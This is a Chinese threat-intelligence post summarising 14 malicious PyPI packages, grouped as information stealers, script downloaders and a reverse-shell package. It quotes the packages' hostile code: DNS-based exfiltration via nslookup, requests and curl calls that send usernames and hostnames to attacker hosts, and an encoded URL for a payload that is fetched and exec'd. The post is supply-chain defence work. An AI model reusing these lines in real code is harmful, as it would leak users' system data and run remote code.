【天问】PyPI恶意包汇总(20211120-20211126)
/ / 点击 / 阅读耗时 6 分钟本周,天问Python供应链威胁监测模块共捕捉到14个恶意包,并于它们上传之后立马反馈PyPI官方,通知维护者将这些包删除。由于天问系统及时检测并发现了这些恶意包,他们在被上传到被删除之间都只被下载了几百次,避免这些恶意包攻击扩散。
根据这些恶意包的行为,他们可被分为三类:信息窃取类,脚本下载类,反弹Shell类。
信息窃取类
包名 | 作者 | 下载次数 | 简介 |
---|---|---|---|
shlackbot | whybeef | 304 | DNSLog 回传 |
stream-event-recognizer | whybeef | 96 | DNSLog 回传 |
vitaminpy | whybeef | 471 | DNSLog 回传 |
tensorflow-seerving | whybeef | 104 | DNSLog 回传 |
s3transfers | NOT Amazon Web Services | 338 | 信息回传到http[x]://security.hsd1.co/6ca3/ |
bkbase-crypt | htm | 237 | 信息回传到http[x]://enjglpdgtgrbn4b.m.pipedream.net |
dm-engine | htm | 186 | 信息回传到http[x]://enjglpdgtgrbn4b.m.pipedream.net |
house3D | htm | 307 | 信息回传到http[x]://enjglpdgtgrbn4b.m.pipedream.net |
在信息窃取类的恶意包也可被细分为两类:
1)将窃取到的信息编译后通过DNS访问回传(Alex Birsan类信息窃取,详见:【天问】Python供应链威胁监测:依赖混淆再现 )。
此类包如:shlackbot、stream-event-recognizer、vitaminpy、tensorflow-seerving。
此类包通过Python脚本代码获取机器名、用户名和代码执行目录等敏感信息后,通过Base64编码成一个字符串作为子域名,然后通过发送dns1.thewhybee.com相关域名解析请求达到敏感信息外传的目的。
1 | NS = 'dns1.thewhybee.com' |
1 | nslookup {} {}.format(host, NS) |
如上述代码中,NS为包作者定义的域名解析服务器,host为编译过的子域名,如下所示。
v3_f.1nvut478z4sm.0.7b2270223a202273686c61636b626f74222c202268223a20226c696c692d.v2_e.dns.thewhybee.com
2)将窃取到的信息直接作为参数回传。此类包如:s3transfers、bkbase-crypt、dm-engine、house3D。
此类包通过Python脚本代码获取机器名、用户名和代码执行目录等敏感信息后,通过requests.get的params参数或者直接将信息加到URL内以回传。如下所示。
1 | requests.get("https://enjglpdgtgrbn4b.m.pipedream.net",params = ploads) |
如上述代码中,ploads是包作者将敏感信息生成的字典。
1 | curl -s https://security.hsd1.co/6ca3/$(whoami | base64)/$(hostname -f | base64) > /dev/null |
又或如上,作者将敏感信息whoami以及hostname通过Base64编码后直接拼接到URL中。
脚本下载类
包名 | 作者 | 下载次数 | 简介 |
---|---|---|---|
PDtest | unfwypbpitxyvcyrde | 0 | 访问zevel.site/payload-02并下载可执行脚本 |
JPWhisky | vkobnzbfdjixqkxrql | 99 | 访问zevel.site/payload-02并下载可执行脚本 |
tre12 | vkobnzbfdjixqkxrql | 88 | 访问zevel.site/payload-02并下载可执行脚本 |
metest7 | shooTest | 248 | 访问172.17.0.1:100/buddy并下载可执行脚本 |
test-pack-vulnerable | tawnypzzujsmyfyhbw | 0 | 访问zevel.site/wannacry并下载可执行脚本 |
注:上述PDtest、test-pack-vulnerable由于上传时间为2021年11月25日,故当前还没有下载数据。
其中metest7是唯一一个无法确定恶意行为的包,因为其访问IP为内网地址,我们怀疑是该作者做的测试包,无法确定是否后期会替换成恶意执行脚本链接。
访问zevel.site的恶意包代码相似性极高,均使用以下编码过的脚本执行。
1 | url = bytes.fromhex('687474703a2f2f7a6576656c2e736974652f7061796c6f61642d3032').decode() |
将上述代码解码后我们得到如下信息:
1 | url = 'https://zevel.site/payload-02' |
包作者访问zevel.site/payload-02下载可执行文件并通过exec执行。
反弹shell类
包名 | 作者 | 下载次数 | 简介 |
---|---|---|---|
botaa3 | shhnotcoolbro | 129 | 在setup.py内将恶意代码Base64编码,当执行setup.py进行安装时会自动触发代码,形成一个反弹shell。 |
关于该包的代码、恶意行为分析详见:【天问】日下载超过600万的PyPI包“boto3”遭模仿攻击